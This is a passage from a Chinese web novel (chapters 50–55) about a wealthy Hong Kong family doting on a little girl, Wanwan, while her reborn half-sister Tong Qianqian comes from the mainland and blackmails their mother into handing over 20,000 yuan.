“哎呦，合着是从我那儿找到的安慰？那我可不能让你白找……”说罢，黎墨冰想起了自己遭殃时，黎墨郢落井下石，眼底闪烁起兴奋。 瞧，报复的机会这不就来了？ “你在床上坐牢，总不能一直连带着小妹，我带她出去玩会儿，你自个儿先躺着吧。” 没等黎墨郢答应，黎墨冰径直走向小婉婉，将她抱了起来。 当然，他没忘记征求她的意见。 “二哥带你出去遛遛，怎么样？” “好呀，我最喜欢遛遛了！”小婉婉立刻点着小下巴，也早就在屋里呆够了。 于是黎墨冰二话不说带着她走人，刚关上门，床上的黎墨郢被屋子里的异味熏得上头，咬牙切齿的低喝：“黎墨冰你回来，把榴梿也拿走！” 黎墨冰假装没听见，一边走，一边哼起了歌。 “特别的爱，给特别的你……” 第50章 这次可不由她 黎墨郢休养了三天，身体状况终于有所好转，能够下地做简单的活动了。 正好这两日海边下雨，空气里的湿度让老人受不了，李老夫便张罗着回家里去。 如此，不出半日，一行人便坐着车，大包小包的回了山庄。 小婉婉跟黎墨郢一起去了他的院子，黎墨郢一回来就开始在床上躺尸，小婉婉捧着小脸蛋儿，在床上趴了一会儿，就觉得无聊了。 “三哥哥，你到底什么时候能好呀？整天这样在床上躺着，你都要发霉了呢。” “你以为我不想？”黎墨郢生无可恋的望着天花板。 若是寻常的文身，休养两天就可以结痂，就连小婉婉手指上的伤口都已经恢复得看不见。 而他身上的图腾，却迟迟不见起色，仍然一动就会烧灼似的疼。 孙师傅说这是凤血在他身体里，持续与戾气对抗的效果，最快，也要半个月才能恢复。 黎墨郢叹了口气，看着小家伙百无聊赖的摆弄自己的手指，不忍心一直把她困在自己这里。 索性，他现在已经不需要依靠她的力量入睡，于是便说道：“你可以去隔壁找大哥玩一会儿，或者在园子里面，不要跑远。” “好的，我玩一会会儿就回来，三哥哥你乖乖睡觉哦。” 说着，小婉婉凑近，“吧唧”在他脸上亲了一口。 黎墨郢勾了下唇角，突然想到什么，一把将要下地的小团子捉了回来。 “你出去玩可以，但是不准随便亲别人，记住了吗？” 小婉婉萌萌哒眨着大眼睛，为了能快点出去玩，连忙点了点头：“我记住了三哥哥。” “去吧。”黎墨郢放开手。 小奶团子得到了自由，撒开小腿就跑了出去。 …… 院子里，玄凤鹦鹉见到小婉婉跑出来，扑腾着翅膀在她头顶盘旋。 “小婉婉，你真漂亮！” “小鹦鹉，你好呀。你在家里有没有好好吃饭？”小婉婉扬起甜甜的小脸儿和它对话。 鹦鹉在她头上盘旋了两周，落在小婉婉的肩膀，歪着头，不断伸脖子，似乎在对着她的脸仔细打量。 “见不到你，没胃口。” 小婉婉伸出小手，轻轻抚摸它的头顶：“怪不得，你都饿瘦了呢。” “小婉婉也瘦了，小婉婉没好好吃饭。”鹦鹉说完，扑腾着翅膀飞回到窝里。 随即它又展开翅膀飞出来，鸟嘴里叼着一颗花生米，就要喂给小婉婉。 小婉婉被它逗得咯咯直笑，用手捂住小嘴：“谢谢你小鹦鹉，不过我现在不想吃东西，我要去找大哥哥，你要一块儿去吗？” 玄凤鹦鹉投喂主人失败，只好自己把花生米吞咽进肚子里。 兴奋的聒噪：“一起去，一起去。” “那我们走吧。” 小婉婉带着鹦鹉一起去了北面的院子，黎墨城刚刚洗完澡，身上穿着浴袍，头发上面还滴着水。 听见门外响起清脆悦耳的“大哥哥”，他忙用毛巾快速的在头上褥了几下，过去打开房门。 “大哥哥！”一双小手转瞬抱住大腿，黎墨城笑着弯下腰，把她抱进了怀里。 小鹦鹉随着他的动作，扑棱着翅膀飞到桌子上。 黎墨城看了一眼，就将全部注意力落给怀里的小人儿。 “过了这么多天，终于想起大哥了？” “我一直都想你呀。”小婉婉咧着小嘴儿，双手搂着他的脖颈，拍起了彩虹屁：“大哥哥好香啊，你身上藏着果冻吗？” “就你个小人儿最精，我身上可没藏果冻。”黎墨城宠溺的捏捏她的小鼻子，带她走到柜子前面，找出许多零食投喂她。 小婉婉左手抱着一包果冻，右手攥着一袋巧克力，看见桌子上的鹦鹉，还不忘给它也拿一包瓜子。 “你先在这里吃，大哥去打个电话就过来陪你。”黎墨城进入辅佐黎立轩拓展内地市场，工作忙的要命，否则也不至于这么多天，都没怎么去看她。 小婉婉听话的点点头，“大哥哥快去吧，我等你哦。” “乖。”黎墨城在她头上摸了一把，转身去了书房。 …… “三少爷，具体的安排就是这些，明天早上七点，我准时派车去接您。” “好，那就这样。”黎墨城听完助理的汇报，准备挂断电话。 对面却再次传来助理的呼唤：“三少爷……” “怎么了？还有什么事？” “您不是一直让我留意小小姐父亲那边的动向，最近两天我看见，她的二哥和四姐买了去港城的船票。” “我知道了，继续盯着，有什么消息，随时找我汇报。” “是。” 挂断电话，黎墨城顺势抱起了手臂。 童家与港城唯一的链接，就是五妈和小婉婉，是以，他们来港城的目的不会有其他。 上一次童亮被黎墨冰赶走，又先后遭到他和阿郢的报复，按道理，童家人应该吸取教训。 可是这才过去那么几天而已，就又不死心？ 可见，要么是他们遇到的麻烦太棘手，要么，上次的警告太轻！ 不过不管怎么样，黎墨城都不会再给他们伤害婉婉的机会。 …… 内地，潼南市港口。 童倩倩与童斌是谎称学校组织集体郊游，背着父亲出来的。 这一次，她吸取了童亮的经验，知道黎家人都喜欢搞面子工程，为了不给他们落下把柄，特意办理了临时签证，还不惜动用了她和童斌下学期的学费，才买到了两张船票。 这便代表着，如果他们从母亲那里借不到钱，那么下学期，他们连学都没法上了。 而童斌对张南根本报不起希望，望着越来越远的港口，一路上都心事重重。 “二哥，你不要紧张，我说过，黎家虽然有钱，但他们不是老虎，不敢把我们怎么样。”童倩倩默默的攥紧双手。 再次经历熟悉的场景，难免让她想起上一世，与母亲初到港城的回忆。 现在重新来过一世，童倩倩决定再也不要卑微讨好任何人。 相反，她在不久的将来也会成为有钱人。她的父亲、兄长们，都将是她最有力的后盾！ “我不是怕黎家人，我是担心，妈不会借钱给我们。”童斌脸苦的像一个晒蔫吧的青茄子。 童倩倩眼底一抹暗沉掠过，嘲弄的勾起唇角，对着波涛汹涌的海面，用仅自己可听见的声音低喃：“不借？这次可由不得她。” 第51章 隐忍不发 邮轮在港口靠岸，童倩倩带着童斌，按照上一世的记忆来到黎家庄园。 再次踏足这片满是熟悉的土地上，她的脑海里，只有满满不堪回首的往事。 像是踩碎了满地沉默的玻璃渣，连空气里飘着的风，都带着凄惨的味道。 “倩倩，这一整片山，都是黎家的？”童斌瞠目结舌的张大了嘴。 他唯一听过把房子建在山头上的，就是画本里占山为王的土匪。 可是黎家从外观上的豪华程度，是土匪窝的穷酸远远所不及的，从远处向上看，好似被青山托举的白玉，在阳光下泛着温润张扬的光泽。 还有眼前的大门，就足有两个人那么高，繁复的花纹缠绕着鎏金藤蔓，透过门头，又能看见山腰上广阔的喷泉广场，白玉雕像立在中央，水流从雕像顶端倾斜而下，波光粼粼的水池，衬得整个院子都弥漫着一种销金的奢靡感。 “他们原来这么有钱！”这一刻，童斌突然就明白了，大哥回来时的心情。 巨大的落差感，让他的心头也涌现出对命运不公的恨意。 “怪不得，妈宁可不要我们，也要当人家的姨太太……”童斌喃喃自语。 童倩倩察觉到他语气中溢出的自卑，抓住他的手臂。 “二哥，你别这么想，他们有钱又能怎么样？不过是外表光鲜，芯子里面早就肮脏又腐朽！” 而在她的记忆中，张南就算做了黎家长子的五姨太，也是过着小心翼翼，卑微讨好的生活。 家里随便一个人，哪怕是她自己院子里的佣人，也能给她脸色看。 这样的日子，跟圈养在笼子里，混吃等死的狗有什么区别？ “我们进去吧。” 童倩倩上前一步，按下了门铃。 很快就有门卫从值班室里出来，按下门外的监控。 门卫能在黎家站岗，也是经过重重选拔的专业保卫科毕业生，见来人一身朴素装扮，并未露面，直接通过扩音器，在门内询问：“你们是什么人？知不知道这里是什么地方？” 童倩倩听着这趾高气扬的语气，兀自发出冷笑。 “黎家不愧是港城首富，连一只看门狗都能耀武扬威。” 她说过的，这一世，再也不会受黎家人的窝囊气！ 门卫听她一口大陆的口音，又被骂作看门狗，不客气的呵斥：“哪来的北姑？在这里来口出狂言，赶紧滚，否则别怪我不客气！” 童倩倩听见门卫的一声“北姑”，瞬间宛若被踩到了尾巴的狸猫，浑身的汗毛都炸了起来。 上一世，她因为内地人的身份被人瞧不起，那些人不光在背地里称呼，甚至在当面，也会堂而皇之的叫。 而在港城话里，‘北姑’就是港城人贬低内陆女性的称呼。 童倩倩脸色青白交替，上前用力拍打起大门。 “你给我出来，再叫一次试试！” “北姑，赶紧滚！” “你出来！”童倩倩发疯似的朝大门上踹下去。 童斌还是头一次见她这么暴躁的一面，被吓得怔在了原地，许久后反应过来，上前抱住童倩倩。 “四妹，你别冲动，咱们不跟他一个守大门的一般见识！” 童斌转念一想，四妹应该跟他抱着同样不好的感受，才会冲动的发脾气。 童倩倩刚才被愤怒冲红了眼，此刻听见童斌的呼唤，她逐渐平静下来。 对。 她这次是过来借钱的，确实没必要跟这种目光短浅的东西一般计较！ 等她成为了有钱人，像这种看门狗，给自己提鞋都不配！ 而童倩倩之所以来正门，就是因为上辈子和张南从侧门进的黎家，那狭窄的只能容纳一人通过的门框，在她进入黎家后，成为一道无形的限制，时时刻刻将她框在卑微的处境里。 所以这一世来到黎家，她首先奔着正门。 可是却被门卫拦在外面羞辱…… 童倩倩只能咬着牙，带童斌绕到了半山腰，从侧面那扇小门进入黎家。 …… 黎墨城从下人口中得知童家人过来的消息时，正准备跟黎墨冰替黎立轩去内地实践落实市场。 他将文件交给黎墨冰，交代他先去车里等着，而后径直前往南院。 黎墨郢经过这几天的恢复，气色逐渐好起来，能够起来坐着了。 怕小婉婉无聊，他让佣人在院子里撑起一个凉棚，给她弄了个气垫泳池，放些玩具进去给她玩水。 他则坐在旁边的沙发躺椅上，闭目养神。 “大哥哥！”小婉婉穿着一件粉色带着小花朵的连体泳衣，头上戴着同款的小泳帽，浑身都被水泡得白乎乎的，举着小鸭子对他招手。 黎墨城直恨不得立刻把她抱起来，亲上两口。 奈何他等下就要出门，衣服弄湿再去换，恐怕会赶不上邮轮的出发时间。 他只好在她面前蹲下，接过她手里的小鸭子看了看，上劲后放在水里。 小鸭子随即拍打着水面畅游了起来。 “大哥等下要去工作，小婉婉先自己玩，我去跟三哥说几句话。” 小婉婉点了点头，脸上的水珠随着动作从下巴上滚落，趁得两颗葡萄似的大眼睛更加水灵。 “好哒，大哥哥要注意安全哦。” “会的。” 二人说完话，小婉婉重新在气垫泳池里玩了起来。 黎墨城来到黎墨郢身边，他俊美的容颜覆盖着凝重，用只能用两个人的声音低语：“童家老二又带着他四妹一起过来找五妈，这段时间我跟黎墨冰不在，你要好好照顾婉婉，别去跟他们掺和。” 黎墨郢瞬间睁开眼睛，深邃的凤眸幽若寒潭，下颌线紧绷宛若拉紧的弦，他没有说话，只是抿着唇，形成一道锋利的折线，连带着鼻梁都显得格外挺直。 黎墨城了解自己的三弟，他如果直接骂出来，说明他还没有多么生气。 越是隐忍不发，证明他正在积聚怒火，等待合适的机会爆发。 “不过有上次的教训，他们应该不敢妄自招惹婉婉，只是不难保五妈有时候犯糊涂。你守着婉婉就行，非必要，别起冲突。”黎墨城又不放心的叮嘱了一番。 听到黎墨郢深沉的“嗯”了一声，他才放心离开。 第52章 更深更重的恨意 自从黎墨郢的身体出现问题，张南每天都紧张的睡不好觉，直怕小婉婉哪里表现不好，遭到黎家人嫌弃。 那么她的舒心日子，差不多也要跟着到头了。 好在的是黎墨郢的身体状况逐渐好转，黎家人对小婉婉一如既往的好，她才跟着安心。 然而她这还没睡两天踏实觉，听见童斌带着童倩倩又找上门，当即双脚一软坐了下去，眼前阵阵发黑。 彼时，佣人已经把童斌和童倩倩带了过来。 张南知道他们来的目的，脸上没有欣喜，反而苦大仇深的皱起眉头。 “上次你大哥过来我就说过，我没钱借给你们……” 童斌望着母亲妆容精致，却处处透着冷漠和疏离的脸，压抑了一肚子的沉重情绪，再也克制不住。 “你还好意思提大哥！他千辛万苦的从内陆偷渡过来见你，为你抛弃了尊严，忍受了一肚子屈辱，结果呢？你任由黎家人把他赶走，还把他折磨的连半条命都丢了，我们都是从你肚子里生出来的，你难道真的一点儿也不心疼吗？” 童斌的话，让张南震惊的放大瞳孔。 “你说什么？墨冰只是把他赶走了而已，怎么半条命都没了？” 童亮到底是她的亲生骨肉，还是她的第一个孩子，总有一些真实的感情。 若不是童亮对她出言不逊，伤了她的心，她也不会任由黎墨冰将他赶走。 “你别装不知道！我现在总算看明白，怪不得你甘心嫁到黎家来做姨太太，原来这里的生活这么好，好到让你宁愿抛夫弃子，枉顾那么多年的母子情义，好到让你六亲都不认！” 童斌的话，宛若一把淬了冰的锥子，狠狠扎进张南的心里。 也是继童亮之后，她的二儿子，对她的恨意更深、更重！ 童斌看她的眼神，简直就像在看一个十恶不赦的罪人！ 张南浑身的血液瞬间凉了半截，突然不想追究，童亮到底经历了什么…… “既然你们都这么想我，就随便吧。” 当一个人已经被钉在罪恶柱上的时候，任何的解释，都是狡辩。 张南不想再解释，也无力去解释。 这时，站在旁边的童倩倩拽了拽童斌的袖子，皱眉对他摇了摇头。 “二哥，你别这么说妈，她也是有苦衷的。” “她能有什么苦衷！咱们家里虽然穷，可爸什么时候短了她吃的喝的？她就是贪慕虚荣，才故意挑刺跟爸吵架！逼着咱爸跟她离婚！” “不是，二哥，爸妈之间有很多事我们都不清楚，不能光站在自己的角度思考问题。” 童倩倩忽然跟张南统一战线，替她说话，让童斌脸上流露出失望的神色。 他忍住脾气提醒：“倩倩，你怎么向着她说话？别忘了，她抛弃的人里，也有你一个！” 童倩倩抿起嘴唇，她当然不是被抛弃的那一个，留在内陆是她自己的选择。 因为只有她知道，就算跟张南来到港城，也根本不会享福，而是从贫民窟进入虎狼窝。 不过要说理解张南，也不尽然，她心里充斥着更多的是对她的不屑，和上一世被她推入地狱的恨意。 她之所以帮着张南说话，也只不过是一出苦肉计，若她真有心袒护，那么在童斌质问的时候就会第一时间制止。 而不是等到他把狠话都说完了，再出来当好人。 “二哥，你正在气头上，先冷静一下，让我跟妈单独聊聊。” 她用力捏住童斌的胳膊，无声传递信号。 童斌挣了两下，才明白她眼神中的暗示，另有深意。 于是他不再挣扎，抿住嘴，陷入了沉默。 童倩倩看向张南，露出她最擅长伪装的无害表情，声音里透着怯生生的温顺。 “妈，我知道您带着婉婉在港城不容易，也从来没有怨恨过你，就当是母女叙旧，跟我单独聊聊好吗？” 张南僵硬的背脊几不可查的松了松，方才被童斌指责时紧绷的面色，缓缓舒柔下来。 她侧头看向排行第四的女儿，眼里还凝聚着未散的血丝，似乎在确认，她是否真的理解自己。 “那好，你随我来吧。” 最终，张南还是决定给她一次叙旧的机会，带着她去了院子里的书房，就在小婉婉房间的隔壁，黎立轩为了让她以后安静学习所准备的。 在童倩倩上一世的记忆中，并没有这间书房，就连她的卧室都被安排在院子里最偏僻的角落。 就因为张南怕她住的太近，会打扰她与丈夫的独处空间。 可笑吗？ “妈，我怎么没见婉婉，她没在房里吗？” 童倩倩打量书房里的布置，眼波闪动间，流动着若隐若现的暗沉。 张南忙着给她倒水，并没有发觉她的神色变化。 放下水杯，她兀自感慨道：“婉婉是个有福气的孩子，又懂得讨长辈喜欢，连带着我也跟着沾光。” 所以这一世，她还是借着孩子稳固自己姨太太的地位？ 童倩倩意识到这一点，脑海便自动想象出，小婉婉像她一样，对黎家人摇尾乞怜的巴结，不禁露出诡异的笑来。 低喃着：“那她也不容易。” “也还好……”张南正想说小婉婉也没有多不容易，每天吃好喝好的，还天天有人伺候，哄她开心，比一般的孩子都要幸福。 只是她不经意的抬头，看见童倩倩脸上一闪而过的阴暗，是她生下女儿这些年来，从未在她脸上见过的。 这种突如其来的陌生感，就像一根细小的刺，扎在心里。 张南低下了头，拎起茶壶给自己也倒了一杯水，声色平静问道：“你大哥上次来就说，家里的钱不富余，你和老二是在哪弄的钱办签证买船票？” 童倩倩听张南主动提到了钱的话题，立刻转过头，目光充满期待。 “我和二哥用了下学期的学费，妈，我们真的太想你了……” 真的太想她？ 会见面就说那么刻薄难听的话，对她满心都是恨吗？ 张南能从失败的婚姻里走出来，只身一人来港城，就证明她不蠢。 此刻，即便童倩倩再用力煽情，也被张南一眼看透。 “你这孩子……”她的嗓音有些沙哑，像是心力交瘁，也像明白真相后的失望：“口口声声的说想我，实际上，却在逼我掏钱给你们。” 第53章 分明是你德行不好 “妈，我们不需要多少，黎家这么有钱，你就当看在亲情的份上，帮我们一把。” 童倩倩直接抱住张南，把脸埋在她怀里，妄图唤醒她的母爱，让她心软。 然而张南却无动于衷，双眼无神的念叨着：“我在这里开销很大，各处关系都要人情，没有多余的钱借你们。” “妈！”童倩倩双眼哭得通红，试图通过摇晃她的身体撼动她的意志力。 “你好好看看我，我也是你女儿啊，你不能只带着婉婉享福，丢下我不管啊妈！我求求你……” “我没钱，你求也没用。”张南嘴里嗫嚅。 “妈？”童倩倩的哭声还卡在喉咙里，带着鼻音的哀求戛然而止。 她抬着头，泪水还在顺着脸颊往下淌，沾湿了嘴角的弧度。 可是，那弧度已然变了味。 ——不再是自卑的乞怜，而是一点点的向上勾起，扯出一个淬着寒意的笑。 “妈，你当真不借？” 她的声音还带着哭后的沙哑，却硬生生压着冷硬。 攥着张南衣服的手猛地松开，像突然摘掉了面具的戏法师，露出本来的面目。 “好吧，反正下学期我和二哥没学上，街坊邻居们问起，我就说家里的钱都给大哥看病了，作为亲生母亲的你见死不救，看着我们走投无路……” 啪！ 张南见她竟然明目张胆的威胁自己，控制不住失望和怒火，站起身，扬手打在她的左脸上。 “你威胁我？” 童倩倩捂住脸，仅存的最后伪装都被撕开，她彻底化身为一只豺狼，对张南露出凶狠的獠牙。 “这你就受不了了？那我要是再告诉你现任那位丈夫，你之前做掉的孩子，是爸爸朋友的，爸爸因为你水性杨花，出轨别人才答应离婚，你的现任会怎么看你？” 张南猛的向后退了一大步！ 她瞪着眼睛，瞳孔里愤怒的残影，被一重又一重威胁撕得粉碎，只剩下慌乱和震惊。 “你是怎么发现……” 童倩倩就知道，自己用这个筹码会让她妥协。 毕竟她可是把跟黎立轩的这场婚姻，视作第二次生命一般，不敢有任何闪失。 童倩倩之所以会发现这个秘密，也是前世父亲他们搬到港城后，喝醉了酒告诉她的。 可惜那时候的父亲已经成为富豪，和她说那些也只是诉苦，并没有让母亲付出什么代价。 现在自己替父亲敲诈一笔，也算是为他出气。 “你不用问我怎么发现，你只要记住，纸包不住火，至于我能替你在黎家包多久……全看你这个做母亲的，对我们兄妹几人，存有多少亲情！” 张南：“……” 至此，她才看透四女儿的嘴脸，原来刚才口口声声的理解，竟然都是伪装！ 童倩倩对她赤裸裸的威胁，宛若在她鲜血淋漓的伤口上，又补了一刀。 张南的心口空落落的，麻木得连疼都感觉不到了。 “你根本就不了解内情，事情不是你说的这样。” “那你说，是什么原因让你跟我爸的朋友苟合，还怀了孕！难道是有人逼你的吗？”童倩倩瞪着狠厉的眼睛，一字一句都是对她的怨恨。 张南却“呵呵”的笑了起来。 她用手捂着嘴，笑的前仰后合，泪水却不断溢出眼眶，沾湿了手背。 “我们什么事都没有的时候，你父亲天天怀疑我在外面勾引男人，给她戴绿帽子，我在他心里从来就没有清白过，既然如此，我就干脆落实，省得他处心积虑的跟踪，却迟迟找不到证据！是他把我逼到那一步的！” 张南就是用这样的方式，才彻底从那个家里解脱出来的。 她还是高估了童建洲，他为了从自己这里拿到钱，把这种龌龊事告诉孩子，简直连脸皮都不要！ 张南以为，她说出苦衷，女儿哪怕稍微理解一点自己就够了。 可童倩倩依旧满眼淬着嘲讽，如同对着什么脏东西，满眼嫌恶。 “这是什么狗屁的烂借口？你自己行得正，爸怎么会怀疑你？分明是你一直德行不好，要不然，苍蝇怎么会叮无缝的蛋！ 再说，爸跟踪你，也是为了你好，他是在乎你，你却身在福中不知福，做出那种肮脏事，还怀了别人的孽种，你跟一个妓女有什么区别？有你这样的母亲，简直就是我的耻辱！” “既然你把我当耻辱，那又何必过来找我借钱？”张南提着一口气，嗓音颤抖的嘶吼出来。 童倩倩“哼”了一声，自顾摆出高高在上的姿态，轻蔑道：“因为，这是你欠我们的。” “好，好一个欠你们……我当初就不应该生你们出来！” “又没人逼你。” 张南扬起手，想要打下去。 可童倩倩攥住她的手，一把将她推倒在了椅子上。 “你敢还手？”张南无法相信，眼前八岁的女孩儿，是自己生下的女儿。 她以前不是这样的…… “我不还手，难道站在这里让你打？我叫你一声妈，你乖乖把钱拿了，我们以后就是情深义重的母女，是你铁石心肠的对我，非要我把脸撕破，不见棺材不落泪。” “这些都是谁教你的？”张南厉声质问。 童倩倩眼神闪躲了一瞬，发觉自己的反应超过了现有的年龄，默了片刻，硬着头皮狡辩：“不用谁教我，我只是把你给看透了而已！” 张南喉咙涌起一股腥甜，胸口憋着的愤怒，灼得她身体发麻。 童倩倩再次威胁道：“我最后问你一遍，这钱你到底借不借？要是不借，那我现在就去告诉黎家人，你过去那些黑历史，看你还做不做得成这个姨太太！” “别……”张南当年那件事确实做错了，以至于后来每每想起，心头充满了懊悔。 那是她生命中为数不多的污点，哪怕她在离婚之后交往男友，黎家人都不会在乎。 可那是在婚内，关乎她的人品和声誉问题。 张南不敢赌！ “你想借多少？” “不多，两万。”童倩倩本来只想借两千块钱，在内地足够做一个小生意了。 可是她心中涌起的恨意，让她狮子大开口，直接要两万。 这些钱拿回内地，不止够做生意，可以让他们家在潼南市平步青云。 第54章 三哥哥，你喜欢婉婉吗 童倩倩一开口就要两万。 张南就算每个月都能领到零花钱，可也远远不够两万。 虽然这段日子，黎家人先后送了她不少首饰，可张南不敢变卖，怕万一人家问起，自己没法交代。 再有，就是大家送给小婉婉的东西，光老夫人给她的那些首饰，也值不少钱。 可张南连自己的都不敢卖，又哪里敢动她的？ “你容我想想办法，两万块，我目前还拿不出来。” “行，那我就给你几天时间，正好第一次来黎家，我也感受一下有钱人的生活，让下人给我跟二哥安排住处吧。”童倩倩嘴上说第一次来到黎家，可她对张南的院子，却比她当主人的还要熟悉，开口就要正厢房最好的那间。 张南当即拒绝：“那个房间是你叔叔的，不方便给你住。” “那我就住在它隔壁！” “隔壁也不行，那是留给婉婉的。”张南想都不想的脱口而出。 童倩倩听后愣了一下，下意识问了一句：“她凭什么？” 心中的不甘，让她深深的吸了一口气。 对上张南诧异的眼眸，她补充：“你就不怕她打扰你跟你爱人的二人世界？” 毕竟，上一世她可是因为这个，自私的把自己安排到最角落的屋子，阴暗狭窄的简直就像一间柴房。 张南被噎了一下，一开始，她自然不想婉婉打扰，但是很快她就发现，小婉婉被家里人争着带，根本轮不到她这个亲生母亲。 就算给她安排在隔壁的屋子，她也没机会回来住。 何况当时安排房间的时候，黎墨城亲自过问，张南也只能给小婉婉安排一间环境好的，免得引起黎墨城的不满。 “这些不是你该管的，黎家虽然有钱，可我只是姨太太，院子里的条件有限，只剩下两间客房，我让佣人收拾出来，你跟老二却对付几天。” 说完，张南就去院子里吩咐佣人，将那两间客房整理出来。 童倩倩定睛一看，佣人前去打扫的客房，正是她上一世住过的那间，顿时火苗蹭蹭的往起涨。 “你就让我跟二哥住在那种破房间？把我们当成什么？”童倩倩铁青着脸质问。 张南早就已经被她给伤透，面对她不满的质问，当着佣人前，还是得端起黎家姨太太的架子。 “知足吧，这里就算再不好，也比你们内陆那个家强，要是实在不满意，那就去住酒店，我出钱让你们去住！” 童倩倩还没成功拿到钱，怕张南是忽悠她，一旦出了黎家大门，再来她会躲着自己。 即便她心有不满，也只能暂时忍下这口憋屈。 “好吧，我跟二哥将就将就。” 张南见她答应，没再理会，兀自回了房间。 她拿出所有的私房钱，数了数，发现也才不到三千块，就算提前领了月前，也得预支半个月。 到时一定会惊动黎家长辈，觉得她用丈夫的钱养前夫一家人，引发对她的意见。 那么她唯一能用的，就是接小婉婉来港城那天，那名外国男子给她的支票了…… 想到这里，张南不禁庆幸，多亏了当初带的是婉婉。 那孩子不光给她带来好运，获得黎家人的喜欢，让她在黎家站稳了脚跟，还在这样关键的时候，帮助自己化解危机。 …… “阿啾！” 不知道是不是在泳池里玩的太久，还是吸入了空气中的花粉，小婉婉突然打了个小喷嚏。 两道亮晶晶的鼻涕泡沿着小鼻孔冒出来，黎墨郢睁开睛看见，本能拿出手绢，捏住她的小鼻子。 “呜呜，山锅锅，人家不能呼呼啦！” 黎墨郢将她抱起来，在她小鼻子上拧了一把，确定鼻涕都擦干净，丢掉了手帕。 “差不多了，进屋穿衣服，再玩感冒了。” “把小鸭子带上！”小婉婉最喜欢的，就是那个上劲就会游泳的小鸭子了。 黎墨郢弯腰把小鸭子拿起来，不经意间，牵动了身上的文身图腾，疼得眉心微拧，大步抱着她回房。 “你自己换衣服，我要躺一会儿。” 说罢，黎墨郢脱掉身上沾了水的衬衣，直接在床上躺了下去。 小婉婉笨拙的脱掉泳装，换上连体的粉熊睡衣，光着小脚丫跑过来。 “三哥哥，你身上又疼了吗？”小丫头水汪汪的大眼睛里，透着浓浓的关心。 黎墨郢从鼻子里“嗯”了一声，疲倦的他，没力气哄孩子，只能伸开胳膊，给她让出一块位置，跟他一起躺着。 小婉婉习惯性的靠在他的手臂上，面对面看着他因为疼痛，浮起汗珠的额头，抬起小手，轻轻的帮他擦拭掉。 “三哥哥，你要快点好，婉婉不想你痛。” 小人儿贴心的举动和言语，黎墨郢看在眼里，听在耳中，发软的却是心窝的最深处。 “嗯，会好的。”答应着，黎墨郢将小不点儿拉到怀里，光是抱着她，便觉得无比安心。 就连身上的痛苦，都减轻了不少。 “三哥哥……”小家伙奶呼呼的，又在他怀里呼唤。 “嗯。”黎墨郢温声答应，不知不觉间，困意袭来。 但小丫头稚嫩的话音，却无比清晰的传进耳朵。 “你喜欢婉婉吗？” 黎墨郢睁开眼睛，望着奶呼呼的小人儿，目光纯净的望着自己。 饶是再一身傲骨的少年，也止不住阵阵触动，内心深处的温柔。 “当然喜欢。”少年没少舒展，像被春风拂过的湖面，漾开一层极浅的涟漪。 他垂着眼，视线一动不动的看着怀里的小家伙，想要保护她的心情，在这一刻，与他身上的凤凰图腾产生了共鸣。 他觉得这更像是一种心意的想通，让他很轻易的，察觉到她的情绪变化。 小人儿不大，就会为别人忧愁了。 让他如何不喜欢，这样一颗纯粹又真诚的心？ 小婉婉听他说喜欢自己，便抱着小胳膊，认认真真的打商量：“那你以后，能不要对我凶凶吗？三哥哥凶起来一点儿都不帅，笑起来才好看。” 黎墨郢在她絮絮叨叨的话儿里，嘴角止不住上扬起来。 他没有保证什么，只是低低的“嗯”了一声，却没有丝毫敷衍的棱角，而是贯穿了温柔与耐心，呈现在他尚且青涩的脸庞，像冰雪融化后的溪流。 安静、绵长。 第55章 买断亲情 “现金你们带着太显眼，我都存在单独的账户里，这是支票，你们回内地去兑换，不要让黎家人察觉到。” 张南将支票放在桌子上，说完便冷冰冰的别过脸去。 童倩倩起身，拿起支票确认无误后，揶揄的看向她。 “你凑的这不是挺快的吗，还跟我哭穷说你没有钱？” 张南抿起嘴角，随便找了个借口：“我预支了我跟婉婉几个月的生活费，也就这一次，不需要你们归还，以后……你们全当我死了，再有任何事，都别来找我。” “你什么意思？想用这两万块钱买断亲情？以后都不认我们了？”童倩倩眼底浮现出愠怒。 就算，钱可以买断亲情，可是能买到命吗？ 她只要想到上一世经历的冤屈、不公，心头的戾气难以平复。 张南对上她充满愤怒的双眼，表情平静的就像是一潭死水。 “没错，反正你们心里也恨我，又何必再接触呢？” “呵，你想得美！像你这种不负责任，自私自利的母亲，划清界限太便宜你！我就是要让你的良心遭受谴责，让你永远摆脱不掉！” 童倩倩眯着眼睛，眼底毒辣的光，如熊熊火焰在燃烧。 张南痛苦的用手扶着眉心，承受不住内心压抑，身体晃了几下才站稳。 “你要钱我也给了，你答应过我的，想说话不算？” “你放心，你那些肮脏的过去，我会替你保密，我就是提醒你，你现在的安逸生活，是你违背良心，抛夫弃子换来的！你最好天天替我们祈祷，我们的生活早日好起来，否则，你也别想独善其身。” 张南额头的青筋突突直跳，一直强撑着才没有倒下去。 此刻，四女儿的话，每一个字都宛若钢钉，用铁锤深深砸进胸口。 那是被至亲之人用恶毒的方式背刺后的失望和愤怒，她从来未有一刻像现在这般清醒。 她真的庆幸，当初来港城，带的是婉婉，不是她。 “随便你们吧，你们真不愧是童建洲的孩子，一群喂不熟的白眼狼！” 过往她对孩子的怜悯，耗费在他们身上的心血，如今都成了伤害自己最锋利的匕首，所以她一直都在后悔，耽误了这么多年才离婚。 反而正是他们自以为是的恨意越重，张南反而越释怀。 她冷眼扫过童倩倩，转身，决绝的出了门。 童倩倩望着张南冷清的背影，不知道为什么，忽然有一种事情发展不受控制的感觉。 上一世在她的记忆里的母亲，在带她来港城后，偶然还会惦念她在内陆的孩子，哪怕大哥他们再恨她，说的话再难听，她也没有像今天这样狠决的斩断亲情。 难道是以为她重生以后，和小婉婉交换命运，导致发生了这些改变？ 童倩倩的神色变得凝重起来。 “四妹，刚才她来找你有什么事？”童斌并不想见张南，之所以留下来，也是为了童倩倩。 是以刚才张南过来的时候，他只在房间里，没有过来说话。 童倩倩的思绪被拉回，告诉童斌：“她把钱送过来了。” “真的吗？她给了多少？”童斌眼底透着惊喜，当他接过支票，看见上面的数额，转而换成大喜过望！“她给了两万块钱？倩倩，果然还得是你！你是怎么说服她拿钱的？” 童倩倩看着童斌眼神里对自己的钦佩之色，自尊心得到了满足。 不过，她仍然露出一副受了很大委屈的表情：“也没说什么，就是跪下来求她，她才肯借。” 童斌望着她柔弱的的模样，顿时一阵心疼加自责。 “四妹，这次真是委屈你了，你放心，今天你为我们做的一切，我们都会记住的！等以后生活好起来，我们把好东西都留给你！” 童倩倩分明达到了目的，却依然垂着眼睑，柔声开口：“我什么都不要，只想你们和爸爸好起来。” “会的。” 既然钱已经借到，童斌一刻钟都不想在黎家多待，当即提出要跟童倩倩回内陆。 